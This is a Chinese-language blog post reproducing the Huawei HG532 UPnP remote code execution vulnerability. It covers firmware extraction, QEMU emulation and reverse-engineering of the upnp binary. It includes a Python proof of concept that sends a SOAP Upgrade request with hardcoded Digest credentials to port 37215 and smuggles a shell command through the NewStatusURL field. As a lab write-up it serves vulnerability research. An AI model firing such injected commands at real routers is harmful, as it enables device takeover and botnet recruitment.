😀
华为HG532部分定制版本存在远程代码执行漏洞。经过身份验证的攻击者可以将恶意数据包发送到upnp
服务的端口 37215 以发起攻击。成功利用可能导致远程执行任意代码。
官方未提供固件 使用第三方提供的固件 固件未加密 可以直接提取出文件系统
bashbinwalk -Me ./HG532eV100R001C01B020_upgrade_packet.bin
模拟环境采用手动模拟 根据了解漏洞存在于upnp
中 经过查看 发现upnp
架构为MIPS 32位 大端序
从Debian官网下载相关环境
配置虚拟网卡
bash$ sudo tunctl -t tap0 -u `whoami`
$ sudo ifconfig tap0 10.10.10.1/24
启动QEMU虚拟机 账户密码root-root
bash$ sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0 -nographic
配置虚拟机网卡 配置完成后与物理机相连
bash$ ifconfig eth0 10.10.10.2/24
使用scp
将之前解压的文件系统传入虚拟机 挂载目录 然后使用chroot
切换根目录
bash$ scp -r ./squashfs-root/ root@10.10.10.2:/root/
$ mount -o bind /dev ./squashfs-root/dev
$ mount -t proc /proc ./squashfs-root/proc
使用ssh新开一个shell连接进虚拟机 一样切换根目录
bash$ ssh root@10.10.10.2
$ chroot ./squashfs-root/ sh
使用ssh的shell 启动mic服务
bash$ mic
mic服务会更改接口的ip地址 改回来即可
关闭物理机Firefox
的安全相关检测
先地址栏输入about
进入高级首选项 然后搜索security.tls.version.enable-deprecated 将默认的 false改为 true
此时 物理机已经可以访问到路由器的Web端
POC如下
pythonimport requests
headers = {
"Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}
data = '''<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewStatusURL>;echo "1234";</NewStatusURL>
<NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>
'''
requests.post('http://10.10.10.2:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
根据漏洞文档 漏洞存在于upnp协议中 但是启动的是mic
首先先来 看看mic
都执行了哪些操作 使用Binary Ninja
打开mic
可以看到main
函数中输出字符串String mic now..
与程序输出吻合 可以确定main函数为执行起点
重点关注的是mic
与upnp
之间的交互 搜索字符串upnp
可以看到在sub_402304
和MicMsgProc
中都有引用
追入sub_402304
发现 sub_402304
由MicMsgProc
调用 且根据函数名猜测sub_402304
功能为通过upnp
字符串查找应用程序 然后启动该应用程序
追入MicMsgProc
发现其由main
函数调用
那么upnp
启动的调用链已经明晰 main() -> MicMsgProc() -> sub_402304()
至此按照常理来说upnp
服务已经启动 继续分析upnp
即可
使用Binary Ninja
打开upnp
前面基本都是一些参数配置 没有值得关注的点 可以看到在402e50
的位置调用了ATP_UPNP_GetMacAddr
下面调用了ATP_UPNP_GetDeviceInfo
来获取设备情况 证明都是些基础设置
在402edc
处检测确定upnp已经配置启动之后 调用了ATP_UTIL_SocketCreateServer
配置Socket相关信息 其中0x915f=37215
然后在0x402f50
处开始监听 后面继续配置了一个Socket用于SSL验证 这里不再给出 总体而言main函数
主要负责Upnp服务的启动等基础配置
通过漏洞报告得知 存在的是一个命令执行漏洞 首要想查的就是system
这里可以先摸一下system
的引用 可以看到有三个函数sub_4031ac
upnpRestoreState
sub_40749c
引用了system
接下来就是逐一排查下 看看有没有漏洞点
首先是sub_4031ac
很明显执行的指令都是不可控的 可以pass
![image-20230607200643572](/Users/du4t/Library/Application Support/typora-user-images/image-20230607200643572.png)
upnpRestoreState
同理 pass
sub_40749c
有意思了 很明显在调用之前使用snprintf
动态解析了参数 且解析的变量var_418
$v0_3
都与传入的参数arg1
有关 通过函数名猜测ATP_XML_GetChildNodeByName
是从XML中根据Name获取结点的属性值 可以怀疑其值是XML中NewDownloadURL
和NewStatusURL
的值
但是这时发现针对于sub_40748c
没有引用 怀疑是跟之前的file_operations
结构体一样 有一个函数表 对于这种情况可以直接按照byte搜索整个程序段中是否有关于0x40749c
的数据 通过搜索 发现一个全局变量中存在0x40749c
可以看到有三个函数引用了该变量 分别为UPnPGetActionByName
UpnpGetActListByActName
ATP_UPNP_RegAction
通过函数名基本判断前两个函数都与参数传递有关 重点关注前两个函数
首先先来看看UPnPGetActionByName
其中关于0x4060**
很明显都是刚刚看过的全局变量的附近 在40d900
处更是直接索引到了407c9c
也就是我们怀疑存在漏洞的位置上 而程序能不能流向该处于UPnPGetActionByName
的参数也息息相关
![image-20230607202230781](/Users/du4t/Library/Application Support/typora-user-images/image-20230607202230781.png)
继续一层层往上追 可以看到UPnPGetActionByName
被sub_40a9c8
调用
sub_40a9c8
被sub_40b5b4
调用
sub_40b5b4
被ATP_UPNP_Init
和sub_40bd64
调用(最后都会回归ATP_UPNP_Init
)
ATP_UPNP_Init
最终被main
调用
可以看到这里是必定调用的 因为端口绑定在下面 如果没有调用的话端口就不会绑定 则如果实现的话第一条调用路径为main() -> ATP_UPNP_Init() -> sub_40b5b4() -> sub_40a9c8() -> UPnPGetActionByName() -> sub_40748c()
其余路径不再一一展开 大部分都是走的别的路径最后回归ATP_UPNP_Init()
静态分析到这里其实已经走进死胡同了 一个是路径过多的问题 还有就是静态分析其中函数传递的参数是不现实的 并且还要考虑到条件语句的问题 包括其实最开始这个漏洞并不是漏洞挖掘发现的 是僵尸网络攻击被抓到流量才发现的 所以放弃静态分析构建POC 且Web端没有发现/ctrlt
相关的接口 不知道是怎么挖出来的...
本文作者:Du4t
本文链接:
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!